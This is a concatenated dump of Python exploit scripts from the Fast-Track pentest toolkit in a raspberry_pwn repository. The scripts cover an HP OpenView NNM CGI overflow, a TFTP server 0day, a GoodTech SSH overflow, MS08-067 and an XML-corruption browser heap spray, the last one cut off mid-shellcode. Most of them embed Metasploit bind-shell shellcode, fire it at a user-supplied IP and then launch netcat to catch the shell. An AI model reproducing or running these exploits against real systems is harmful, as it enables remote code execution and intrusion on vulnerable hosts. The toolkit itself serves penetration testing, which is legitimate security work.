pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/hpopenview.py.svn-base
#!/usr/bin/env python import os import sys #from bin.include import print_banner #print_banner() choice=raw_input(""" Enter which version you want to target: All JMP ESP's are performed in User32.dll 1. Windows 2000 Service Pack 0 - JMP ESP 77D20738 2. Windows 2000 Service Pack 4 - JMP ESP 77e3c256 3. Windows 2003 Service Pack 0 and 1 - JMP ESP 77d20738 4. Windows XP SP2 - JMP ESP 77d8af0a Enter number: """) if choice == '1': choice=("\x38\x07\xD2\x77") print " JMP ESP set to: '\\x38\\x07\\xD2\\x77'" if choice == '2': choice=("\x56\xc2\xe3\x77") print " JMP ESP set to: '\\x56\\xc2\\xe3\\x77'" if choice == '3': choice=("\x38\x07\xd2\x77") print " JMP ESP set to: '\\x38\\x07\\xd2\\x77'" if choice == '4': choice=("\x0a\xaf\xd8\x77") print " JMP ESP set to: '\\x0a\\xaf\\xd8\\x77'" try: import socket import time try: target=sys.argv[4] except IndexError: target=raw_input("\n Enter the IP Address to attack: ") expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) print " [+] Connecting to "+target expl.connect ( ( target, 80) ) print " [+] Sending Evil Buffer to NNM CGI\n" buffer="GET /OvCgi/OpenView5.exe?Context=Snmp&Action=" buffer+="A"*5123 buffer+=(choice) buffer+="\x90"*32 # EXITFUNC=thread LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */ buffer+=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x68" "\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x78\x32\x41\x42\x32\x42" "\x41\x30\x42\x41\x41\x58\x38\x41\x42\x50\x75\x6b\x59\x39\x6c\x50" "\x6a\x78\x6b\x30\x4d\x49\x78\x38\x79\x59\x6f\x4b\x4f\x39\x6f\x71" "\x70\x6e\x6b\x50\x6c\x67\x54\x67\x54\x4c\x4b\x72\x65\x65\x6c\x4c" "\x4b\x41\x6c\x36\x65\x42\x58\x46\x61\x4a\x4f\x6c\x4b\x70\x4f\x64" "\x58\x4c\x4b\x73\x6f\x47\x50\x76\x61\x7a\x4b\x50\x49\x6c\x4b\x55" "\x64\x4e\x6b\x54\x41\x7a\x4e\x65\x61\x6f\x30\x6d\x49\x6c\x6c\x4e" "\x64\x4f\x30\x71\x64\x35\x57\x49\x51\x4a\x6a\x56\x6d\x63\x31\x5a" "\x62\x5a\x4b\x79\x64\x77\x4b\x61\x44\x57\x54\x45\x78\x63\x45\x78" "\x65\x6c\x4b\x33\x6f\x44\x64\x53\x31\x48\x6b\x41\x76\x4c\x4b\x54" "\x4c\x30\x4b\x6e\x6b\x43\x6f\x45\x4c\x66\x61\x78\x6b\x66\x63\x76" "\x4c\x4c\x4b\x6c\x49\x42\x4c\x71\x34\x65\x4c\x50\x61\x48\x43\x50" "\x31\x6b\x6b\x30\x64\x4c\x4b\x50\x43\x70\x30\x4e\x6b\x31\x50\x64" "\x4c\x6c\x4b\x74\x30\x47\x6c\x6e\x4d\x6e\x6b\x63\x70\x75\x58\x63" "\x6e\x62\x48\x4c\x4e\x50\x4e\x74\x4e\x5a\x4c\x50\x50\x4b\x4f\x4b" "\x66\x30\x66\x30\x53\x33\x56\x73\x58\x66\x53\x30\x32\x75\x38\x70" "\x77\x53\x43\x54\x72\x33\x6f\x76\x34\x6b\x4f\x6e\x30\x62\x48\x6a" "\x6b\x38\x6d\x49\x6c\x67\x4b\x50\x50\x4b\x4f\x48\x56\x61\x4f\x6c" "\x49\x38\x65\x65\x36\x4b\x31\x4a\x4d\x47\x78\x43\x32\x32\x75\x73" "\x5a\x64\x42\x79\x6f\x38\x50\x75\x38\x7a\x79\x46\x69\x7a\x55\x6c" "\x6d\x66\x37\x59\x6f\x6e\x36\x76\x33\x30\x53\x30\x53\x50\x53\x51" "\x43\x42\x63\x70\x53\x51\x53\x53\x63\x4b\x4f\x4e\x30\x33\x56\x62" "\x48\x54\x51\x53\x6c\x61\x76\x52\x73\x4e\x69\x5a\x41\x6e\x75\x75" "\x38\x4d\x74\x66\x7a\x34\x30\x6a\x67\x32\x77\x6b\x4f\x79\x46\x51" "\x7a\x46\x70\x51\x41\x70\x55\x4b\x4f\x38\x50\x53\x58\x4e\x44\x4c" "\x6d\x66\x4e\x78\x69\x33\x67\x49\x6f\x6e\x36\x50\x53\x31\x45\x6b" "\x4f\x5a\x70\x75\x38\x4d\x35\x42\x69\x6b\x36\x30\x49\x71\x47\x79" "\x6f\x59\x46\x56\x30\x50\x54\x70\x54\x30\x55\x79\x6f\x48\x50\x4f" "\x63\x52\x48\x7a\x47\x70\x79\x59\x56\x54\x39\x51\x47\x59\x6f\x58" "\x56\x50\x55\x79\x6f\x58\x50\x52\x46\x73\x5a\x61\x74\x63\x56\x33" "\x58\x65\x33\x52\x4d\x4d\x59\x4b\x55\x33\x5a\x70\x50\x56\x39\x44" "\x69\x6a\x6c\x4d\x59\x59\x77\x71\x7a\x67\x34\x4c\x49\x7a\x42\x54" "\x71\x4b\x70\x79\x63\x4c\x6a\x4b\x4e\x52\x62\x64\x6d\x49\x6e\x30" "\x42\x56\x4c\x4d\x43\x4c\x4d\x72\x5a\x77\x48\x6c\x6b\x4c\x6b\x6c" "\x6b\x32\x48\x31\x62\x49\x6e\x6f\x43\x77\x66\x6b\x4f\x50\x75\x51" "\x54\x6b\x4f\x7a\x76\x61\x4b\x72\x77\x66\x32\x70\x51\x36\x31\x33" "\x61\x53\x5a\x65\x51\x72\x71\x61\x41\x30\x55\x41\x41\x79\x6f\x48" "\x50\x32\x48\x6c\x6d\x6e\x39\x45\x55\x58\x4e\x61\x43\x69\x6f\x6a" "\x76\x53\x5a\x39\x6f\x4b\x4f\x46\x57\x69\x6f\x6a\x70\x4e\x6b\x73" "\x67\x49\x6c\x6d\x53\x49\x54\x70\x64\x6b\x4f\x4b\x66\x61\x42\x6b" "\x4f\x48\x50\x33\x58\x4a\x4f\x58\x4e\x6d\x30\x35\x30\x33\x63\x4b" "\x4f\x6b\x66\x79\x6f\x58\x50\x68") buffer+="\r\n\r\n" expl.send (buffer) expl.close() print " [+] Payload Sent, ph33r." print " Waiting a few seconds before starting netcat connect.." time.sleep(4) ncstart=os.popen2('xterm -T "HP OpenView Network Node Manager CGI Buffer Overflow" -e nc -nv %s 4444' % (target)) print " If you were successful, you should have a shell in a seperate window.." time.sleep(4) except Exception, e: print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n\n Returning to exploits menu..." time.sleep(4)
5,419
Python
.py
96
48.697917
134
0.636191
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,406
tftp.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/tftp.py.svn-base
#!/usr/bin/env python # TFTP Server for Windows V1.4 ST (0day) # http://sourceforge.net/projects/tftp-server/ # Tested on Windows Vista SP0. # Coded by Mati Aharoni # muts..at..offensive-security.com # http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt ################################################################## # bt ~ # sourceforge-tftpd.py # [*] TFTP Server for Windows V1.4 ST (0day) # [*] http://www.offensive-security.com # [*] Sending evil packet, ph33r # [*] Check port 4444 for bindshell # bt ~ # nc -v 172.16.167.134 4444 # (UNKNOWN) [172.16.167.134] 4444 (krb524) open # Microsoft Windows [Version 6.0.6000] # Copyright (c) 2006 Microsoft Corporation. All # rights reserved. # # C:\Windows\system32> ################################################################## #import os import socket import sys import time import subprocess #from bin.include import print_banner #print_banner() print """ ***************************************************************** * TFTP Server for Windows V1.4 ST (0day) * http://sourceforge.net/projects/tftp-server/ * Tested on Windows Vista SP0. * Coded by Mati Aharoni * muts..at..offensive-security.com * http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt ***************************************************************** """ host=raw_input(" Enter the IP Address of the TFTP Server: ") port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "sock() failed" sys.exit(1) # Jump back shellcode sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c" sc +="\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b" sc +="\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30" # windows/shell_bind_tcp - 317 bytes # http://www.metasploit.com # EXITFUNC=seh, LPORT=4444 shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b" "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01" "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07" "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b" "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff" "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08" "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53" "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66" "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0" "\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93" "\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66" "\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38" "\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57" "\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9" "\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83" "\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6" "\xff\xd0") filename = "\x90"*860 + shell + "\x90"*14 + sc + "\xeb\xd0\x90\x90" + "\x2b\x0e\x41" mode = "netascii" muha = "\x00\x02" + filename+ "\0" + mode+ "\0" print "[*] Sending evil packet, ph33r" try: s.sendto(muha, (host, port)) except Exception: print " Failed to send the exploit, is the server up?" print " Connecting to victim on 4444 in 10 seconds...\n" time.sleep(10) connecting=subprocess.Popen("nc %s 4444" % (host), shell=True).wait()
3,617
Python
.py
84
41.571429
84
0.664016
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,407
goodtech.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/goodtech.py.svn-base
#!/usr/bin/env python # import subprocess import os import time try: import paramiko #@UnresolvedImport @UnusedImport import sys except IndexError: print "Paramiko SSH Module not installed, download from:\n http://www.lag.net/paramiko/download/paramiko-1.7.4.tar.gz\nor in debian package is python-paramiko" print "\nExiting Fast-Track....\n\n" time.sleep(3) sys.exit() definepath=os.getcwd() launch=subprocess.Popen("python %s/bin/exploits/goodtech1.py" % (definepath), shell=True).wait()
519
Python
.py
15
31.666667
163
0.755511
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,408
goodtech1.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/goodtech1.py.svn-base
#!/usr/bin/env python # # Goodtech SSH Remote Buffer Overflow Universal Exploit # Written by: ReL1K # Original exploit discovery by: r0ut3r # # # Tested on GoodTech 6.4 Windows 2003 SP0 and SP1 # # rel1k@box:~/$ python goodtech.py # Enter the IP or hostname of victim: 10.211.55.5 # Enter the username for server: administrator # Enter password for the server: password # Enter the following target: # # 1. Windows 2k3 SP0 # 2. Windows 2k3 SP1 # 3. Windows XP SP0 # 4. Windows XP SP1 # 5. Windows XP SP2 # 6. Windows 2000 SP3 # 7. Windows 2000 SP4 # 8. Windows NT SP6 # # Enter number: 1 # # +++ Sending evil payload... +++ # +++ Evil payload send.. +++ # Try connecting to victim on 4343 # rel1k@box:~/$ nc 10.211.55.5 4343 # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Program Files\GoodTech SSH Server> # # ************** START CODE EXPLOIT HERE ********************** # Paramiko SSH Module used try: import paramiko import sys import subprocess import time except IndexError: print "Paramiko SSH Module not installed, download from:\n http://www.lag.net/paramiko/download/paramiko-1.7.4.tar.gz\nor in debian package is python-paramiko" print "\nExiting Fast-Track....\n\n" sys.exit() client=paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy()) buffer= "A"*164 # set victim IP print """ Goodtech SSH Remote Buffer Overflow Universal Exploit Written by: ReL1K Original exploit discovery by: r0ut3r Special Thanks: muts, stazz, whipsmack, sasquatch, leroy, hdm Example: +++ Sending evil payload... +++ +++ Evil payload send.. +++ Try connecting to victim on 4343 rel1k@box:~/$ nc 10.211.55.5 4343 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\GoodTech SSH Server> *** End Example *** """ hostname=raw_input("Enter the IP or hostname of victim: ") # set username username=raw_input("Enter the username for server: ") # set password password=raw_input("Enter password for the server: ") # define what windows version ver=raw_input(""" Enter the following target: 1. Windows 2k3 SP0 2. Windows 2k3 SP1 3. Windows XP SP0 4. Windows XP SP1 5. Windows XP SP2 6. Windows 2000 SP3 7. Windows 2000 SP4 8. Windows NT SP6 Enter number: """) if ver == '1': eip = "\xb4\xd6\x5d\x77" # call esp in Win2k3 SP0 shell32.dll if ver == '2': eip = "\x23\x14\xb5\7c" # call esp in Win2k3 SP1 shell32.dll if ver == '3': eip = "\x53\x8e\x43\x77" # call esp in WinXP SP0 shell32.dll if ver == '4': eip = "\xa3\x2e\x5a\x77" # call esp in WinXP SP1 shell32.dll if ver == '5': eip = "\xe3\x7b\xc7\x7c" # call esp in WinXP SP2 shell32.dll if ver == '6': eip = "\x9d\x01\x44\x78" # call esp in Win2000 SP3 shell32.dll if ver == '7': eip = "\xc5\xad\x48\x78" # call esp in Win2000 SP4 shell32.dll if ver == '8': eip = "\x91\x92\xc6\x77" # call esp in WinNT SP6 shell32.dll nopsled= "\x90"*20 # pad the buffer with nops # win32_bind - EXITFUNC=seh LPORT=4343 Size=344 Encoder=PexFnstenvSub http://metasploit.com shellcode= "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xad" shellcode+= "\x98\x05\xdb\x83\xeb\xfc\xe2\xf4\x51\xf2\xee\x96\x45\x61\xfa\x24" shellcode+= "\x52\xf8\x8e\xb7\x89\xbc\x8e\x9e\x91\x13\x79\xde\xd5\x99\xea\x50" shellcode+= "\xe2\x80\x8e\x84\x8d\x99\xee\x92\x26\xac\x8e\xda\x43\xa9\xc5\x42" shellcode+= "\x01\x1c\xc5\xaf\xaa\x59\xcf\xd6\xac\x5a\xee\x2f\x96\xcc\x21\xf3" shellcode+= "\xd8\x7d\x8e\x84\x89\x99\xee\xbd\x26\x94\x4e\x50\xf2\x84\x04\x30" shellcode+= "\xae\xb4\x8e\x52\xc1\xbc\x19\xba\x6e\xa9\xde\xbf\x26\xdb\x35\x50" shellcode+= "\xed\x94\x8e\xab\xb1\x35\x8e\x9b\xa5\xc6\x6d\x55\xe3\x96\xe9\x8b" shellcode+= "\x52\x4e\x63\x88\xcb\xf0\x36\xe9\xc5\xef\x76\xe9\xf2\xcc\xfa\x0b" shellcode+= "\xc5\x53\xe8\x27\x96\xc8\xfa\x0d\xf2\x11\xe0\xbd\x2c\x75\x0d\xd9" shellcode+= "\xf8\xf2\x07\x24\x7d\xf0\xdc\xd2\x58\x35\x52\x24\x7b\xcb\x56\x88" shellcode+= "\xfe\xcb\x46\x88\xee\xcb\xfa\x0b\xcb\xf0\x15\x2c\xcb\xcb\x8c\x3a" shellcode+= "\x38\xf0\xa1\xc1\xdd\x5f\x52\x24\x7b\xf2\x15\x8a\xf8\x67\xd5\xb3" shellcode+= "\x09\x35\x2b\x32\xfa\x67\xd3\x88\xf8\x67\xd5\xb3\x48\xd1\x83\x92" shellcode+= "\xfa\x67\xd3\x8b\xf9\xcc\x50\x24\x7d\x0b\x6d\x3c\xd4\x5e\x7c\x8c" shellcode+= "\x52\x4e\x50\x24\x7d\xfe\x6f\xbf\xcb\xf0\x66\xb6\x24\x7d\x6f\x8b" shellcode+= "\xf4\xb1\xc9\x52\x4a\xf2\x41\x52\x4f\xa9\xc5\x28\x07\x66\x47\xf6" shellcode+= "\x53\xda\x29\x48\x20\xe2\x3d\x70\x06\x33\x6d\xa9\x53\x2b\x13\x24" shellcode+= "\xd8\xdc\xfa\x0d\xf6\xcf\x57\x8a\xfc\xc9\x6f\xda\xfc\xc9\x50\x8a" shellcode+= "\x52\x48\x6d\x76\x74\x9d\xcb\x88\x52\x4e\x6f\x24\x52\xaf\xfa\x0b" shellcode+= "\x26\xcf\xf9\x58\x69\xfc\xfa\x0d\xff\x67\xd5\xb3\x5d\x12\x01\x84" shellcode+= "\xfe\x67\xd3\x24\x7d\x98\x05\xdb" try: client.connect((hostname), 22, (username), (password)) try: print " +++ Sending evil payload... +++" sendbuffer=client.open_sftp() sendbuffer.open(buffer+eip+nopsled+shellcode) except IOError: pass print " +++ Evil payload send.. +++\nConnecting to victim on 4343 in 10 seconds...\n" client.close() time.sleep(10) connecting=subprocess.Popen("nc %s 4343" % (hostname), shell=True).wait() except KeyboardInterrupt: sys.exit() except Exception: print "Either the server doesn't exist or isn't vulnerable.."
5,326
Python
.py
136
37.411765
164
0.717677
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,409
ms08067.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/ms08067.py.svn-base
#!/usr/bin/env python ############################################################################# # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) # www.hackingspirits.com # www.coffeeandsecurity.com # Email: d3basis.m0hanty @ gmail.com ############################################################################# import struct import sys import time import os import subprocess #from bin.include import print_banner from threading import Thread #Thread is imported incase you would like to modify #the src to run against multiple targets. try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' print "\n\nExiting Fast-Track...\n\n" sys.exit(1) #print_banner() print '\n\n #################################################################' print ' # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)' print ' # www.hackingspirits.com' print ' # www.coffeeandsecurity.com' print ' # Email: d3basis.m0hanty @ gmail.com' print ' # Minor modifications for Fast-Track by ReL1K ' print ' #################################################################\n' #Portbind shellcode from metasploit; Binds port to TCP port 4444 shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" #Payload for Windows 2000 target payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41' payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\xeb\xcc' payload_1+='\x00\x00' #Payload for Windows 2003[SP2] target payload_2='\x41\x00\x5c\x00' payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00' payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77' payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00' payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae' payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00' payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43' payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff' payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75' payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5' payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6' payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00' try: if sys.argv[2]=='1': #Windows 2000 Payload payload=payload_1 print '[-]Windows 2000 payload loaded' if sys.argv[2]=='2': #Windows 2003[SP2] Payload payload=payload_2 print '[-]Windows 2003[SP2] payload loaded' except IndexError: choice=raw_input(""" Enter the target: 1. Windows 2000 2. Windows 2003[SP2] <ctrl>-c to Cancel Enter the number: """) if choice=='1': payload=payload_1 osver=1 if choice=='2': payload=payload_2 osver=2 target=raw_input("\n Enter the IP Address to attack: ") class SRVSVC_Exploit(Thread): def __init__(self, target, osver, port=445): super(SRVSVC_Exploit, self).__init__() self.__port = port self.target = target self.osver = osver def __DCEPacket(self): print '[-]Initiating connection' try: self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) self.__trans.connect() except Exception, e: print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n\n Returning to exploits menu..." time.sleep(4) print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target self.__dce = self.__trans.DCERPC_class(self.__trans) self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) # Constructing Malicious Packet self.__stub='\x01\x00\x00\x00' self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self.__stub+=shellcode self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self.__stub+='\x00\x00\x00\x00' self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self.__stub+=payload self.__stub+='\x00\x00\x00\x00' self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__stub+='\x01\x00\x00\x00' return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation print "Waiting a few seconds before starting netcat connect.." time.sleep(4) # ncstart=os.popen2('xterm -T "MS08-067 Exploit for Fast-Track" -e nc -nv %s 4444' % (target)) connecting=subprocess.Popen("nc %s 4444" % (target), shell=True).wait() if __name__ == '__main__': try: target = sys.argv[1] osver = sys.argv[2] except Exception: pass current = SRVSVC_Exploit(target, osver) current.start()
7,612
Python
.py
157
43.77707
141
0.641416
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,410
xmlcorruptionbo.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/.svn/text-base/xmlcorruptionbo.py.svn-base
#!/usr/bin/env python # Import modules needed here..all standard Python modules # # XML Parsing Buffer Overflow Heap Spray # # Most of the code was taken from Krafty's allinone exploit # Greetz to Muts, HDM # # Rewritten by: David Kennedy aka ReL1K # Tested on Windows 2k3 SP2 # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ # from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import time import subprocess import sys import os #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # Site root: Main Menu if self.path == "/": target=self.client_address[0] self.wfile.write("""<html><head>""") self.wfile.write("""<div id="replace">x</div> <script> // win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08c